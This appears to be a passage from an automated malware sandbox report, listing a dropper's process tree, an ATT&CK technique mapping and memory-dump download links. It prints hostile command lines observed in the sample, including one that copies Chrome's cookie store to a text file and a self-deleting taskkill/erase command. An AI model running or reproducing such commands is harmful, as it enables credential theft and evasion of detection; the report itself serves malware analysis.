- C:\Users\Admin\AppData\Local\Temp\11111.exe
  C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
  2⤵
  - Executes dropped EXE
  PID:1836

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12cbfb3c438.exe
Mon12cbfb3c438.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2420

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon123bb1679f7999.exe
C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon123bb1679f7999.exe
1⤵
- Executes dropped EXE
PID:2416

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12cbfb3c438.exe
Mon12cbfb3c438.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2136

C:\Users\Admin\AppData\Local\Temp\is-OOIJG.tmp\Mon12e9146e7455e5.tmp
"C:\Users\Admin\AppData\Local\Temp\is-OOIJG.tmp\Mon12e9146e7455e5.tmp" /SL5="$501D2,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12e9146e7455e5.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:844
- C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12e9146e7455e5.exe
  "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12e9146e7455e5.exe" /SILENT
  2⤵
  - Executes dropped EXE
  PID:3600
- - C:\Users\Admin\AppData\Local\Temp\is-3HNT1.tmp\Mon12e9146e7455e5.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-3HNT1.tmp\Mon12e9146e7455e5.tmp" /SL5="$20200,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12e9146e7455e5.exe" /SILENT
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1948
  - - C:\Users\Admin\AppData\Local\Temp\is-JUHHD.tmp\winhostdll.exe
      "C:\Users\Admin\AppData\Local\Temp\is-JUHHD.tmp\winhostdll.exe" ss1
      4⤵
      PID:5072

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12479b64dfa4e67.exe
Mon12479b64dfa4e67.exe /mixtwo
1⤵
- Executes dropped EXE
PID:1768
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im "Mon12479b64dfa4e67.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12479b64dfa4e67.exe" & exit
  2⤵
  PID:4684
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im "Mon12479b64dfa4e67.exe" /f
    3⤵
    - Kills process with taskkill
    PID:2992

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12479b64dfa4e67.exe
Mon12479b64dfa4e67.exe /mixtwo
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3004

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:4836
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:4372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5408

C:\Users\Admin\AppData\Local\Temp\4359.exe
C:\Users\Admin\AppData\Local\Temp\4359.exe
1⤵
PID:6636

C:\Users\Admin\AppData\Local\Temp\74F9.exe
C:\Users\Admin\AppData\Local\Temp\74F9.exe
1⤵
PID:6264

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

memory/796-213-0x0000000000500000-0x0000000000501000-memory.dmp

Download

memory/796-253-0x00000000027E0000-0x00000000027E1000-memory.dmp

Download

memory/796-259-0x0000000004D50000-0x0000000004D51000-memory.dmp

Download

memory/796-287-0x0000000005620000-0x0000000005621000-memory.dmp

Download

memory/796-251-0x0000000004DF0000-0x0000000004DF1000-memory.dmp

Download

memory/796-248-0x0000000004DE0000-0x0000000004DE1000-memory.dmp

Download

memory/844-257-0x0000000000690000-0x00000000007DA000-memory.dmp

Download

memory/952-231-0x0000000000400000-0x00000000004CC000-memory.dmp

Download

memory/1028-230-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Download

memory/1028-267-0x0000000001480000-0x0000000001486000-memory.dmp

Download

memory/1028-265-0x0000000005950000-0x0000000005951000-memory.dmp

Download

memory/1028-258-0x0000000005680000-0x0000000005681000-memory.dmp

Download

memory/1164-268-0x0000000002850000-0x0000000002851000-memory.dmp

Download

memory/1164-316-0x00000000025C0000-0x00000000025C1000-memory.dmp

Download

memory/1164-293-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-270-0x0000000006630000-0x0000000006631000-memory.dmp

Download

memory/1164-362-0x0000000002990000-0x0000000002991000-memory.dmp

Download

memory/1164-263-0x0000000006340000-0x0000000006341000-memory.dmp

Download

memory/1164-260-0x0000000006310000-0x0000000006311000-memory.dmp

Download

memory/1164-272-0x00000000028C0000-0x00000000028C1000-memory.dmp

Download

memory/1164-243-0x0000000000400000-0x00000000007FA000-memory.dmp

Download

memory/1164-276-0x0000000002880000-0x0000000002881000-memory.dmp

Download

memory/1164-277-0x0000000002870000-0x0000000002871000-memory.dmp

Download

memory/1164-321-0x00000000027A0000-0x00000000027A1000-memory.dmp

Download

memory/1164-280-0x00000000028E0000-0x00000000028E1000-memory.dmp

Download

memory/1164-245-0x0000000000400000-0x0000000000402000-memory.dmp

Download

memory/1164-244-0x00000000028A0000-0x00000000028A1000-memory.dmp

Download

memory/1164-322-0x0000000002810000-0x0000000002811000-memory.dmp

Download

memory/1164-281-0x00000000028B0000-0x00000000028B1000-memory.dmp

Download

memory/1164-255-0x0000000005CA0000-0x0000000005CA1000-memory.dmp

Download

memory/1164-363-0x0000000000C70000-0x0000000000C71000-memory.dmp

Download

memory/1164-284-0x00000000064D0000-0x00000000064D1000-memory.dmp

Download

memory/1164-239-0x0000000002890000-0x0000000002891000-memory.dmp

Download

memory/1164-307-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

Download

memory/1164-305-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-309-0x0000000002580000-0x0000000002581000-memory.dmp

Download

memory/1164-361-0x0000000002920000-0x0000000002921000-memory.dmp

Download

memory/1164-314-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

Download

memory/1164-315-0x00000000025A0000-0x00000000025A1000-memory.dmp

Download

memory/1164-312-0x0000000000C80000-0x0000000000C81000-memory.dmp

Download

memory/1164-274-0x0000000006450000-0x0000000006451000-memory.dmp

Download

memory/1164-317-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-285-0x0000000003580000-0x0000000003581000-memory.dmp

Download

memory/1164-318-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-319-0x00000000027E0000-0x00000000027E1000-memory.dmp

Download

memory/1164-320-0x00000000027F0000-0x00000000027F1000-memory.dmp

Download

memory/1164-324-0x00000000027D0000-0x00000000027D1000-memory.dmp

Download

memory/1164-288-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-326-0x00000000027C0000-0x00000000027C1000-memory.dmp

Download

memory/1164-329-0x0000000002830000-0x0000000002831000-memory.dmp

Download

memory/1164-291-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-360-0x0000000002930000-0x0000000002931000-memory.dmp

Download

memory/1164-342-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-339-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-345-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-349-0x0000000000C70000-0x0000000000C71000-memory.dmp

Download

memory/1164-357-0x0000000002950000-0x0000000002951000-memory.dmp

Download

memory/1164-356-0x0000000002940000-0x0000000002941000-memory.dmp

Download

memory/1164-187-0x0000000000B90000-0x0000000000BF0000-memory.dmp

Download

memory/1164-348-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-334-0x0000000003570000-0x0000000003571000-memory.dmp

Download

memory/1164-359-0x0000000002970000-0x0000000002971000-memory.dmp

Download

memory/1164-358-0x0000000002900000-0x0000000002901000-memory.dmp

Download

memory/1640-195-0x0000000002650000-0x0000000002651000-memory.dmp

Download

memory/1640-200-0x0000000002650000-0x0000000002651000-memory.dmp

Download

memory/1696-208-0x0000000003440000-0x0000000003441000-memory.dmp

Download

memory/1696-228-0x0000000007A40000-0x0000000007A41000-memory.dmp

Download

memory/1696-204-0x0000000003440000-0x0000000003441000-memory.dmp

Download

memory/1696-216-0x00000000051E0000-0x00000000051E1000-memory.dmp

Download

memory/1768-218-0x0000000000400000-0x0000000000450000-memory.dmp

Download

memory/1768-236-0x0000000000400000-0x0000000000450000-memory.dmp

Download

memory/1816-256-0x0000000005170000-0x0000000005171000-memory.dmp

Download

memory/1816-212-0x00000000007A0000-0x00000000007A1000-memory.dmp

Download

memory/2212-250-0x0000000000190000-0x0000000000191000-memory.dmp

Download

memory/2212-262-0x0000000000AC0000-0x0000000000AC2000-memory.dmp

Download

memory/2416-327-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2416-353-0x0000000005510000-0x0000000005B16000-memory.dmp

Download

memory/2420-297-0x0000000004890000-0x00000000048BE000-memory.dmp

Download

memory/2420-295-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/2420-301-0x0000000004920000-0x000000000494C000-memory.dmp

Download

memory/2420-311-0x0000000004A34000-0x0000000004A36000-memory.dmp

Download

memory/2420-302-0x0000000004A32000-0x0000000004A33000-memory.dmp

Download

memory/2420-298-0x0000000004A30000-0x0000000004A31000-memory.dmp

Download

memory/2420-303-0x0000000004A33000-0x0000000004A34000-memory.dmp

Download

memory/2420-289-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/2876-299-0x0000000004A30000-0x0000000004A31000-memory.dmp

Download

memory/2876-283-0x0000000000040000-0x0000000000041000-memory.dmp

Download

memory/2876-296-0x00000000021A0000-0x00000000021A1000-memory.dmp

Download

memory/2880-325-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/2880-352-0x0000000004CC0000-0x00000000052C6000-memory.dmp

Download

memory/3928-207-0x00000000002C0000-0x00000000002C1000-memory.dmp

Download

memory/3928-201-0x00000000002C0000-0x00000000002C1000-memory.dmp

Download

memory/4040-136-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/4040-133-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/4040-141-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/4040-135-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/4040-132-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/4040-142-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/4040-145-0x0000000064940000-0x0000000064959000-memory.dmp

Download

memory/4040-134-0x000000006B440000-0x000000006B4CF000-memory.dmp

Download

memory/4040-138-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/4040-137-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Download

memory/4040-139-0x000000006B280000-0x000000006B2A6000-memory.dmp

Download

memory/4040-140-0x0000000064940000-0x0000000064959000-memory.dmp

Download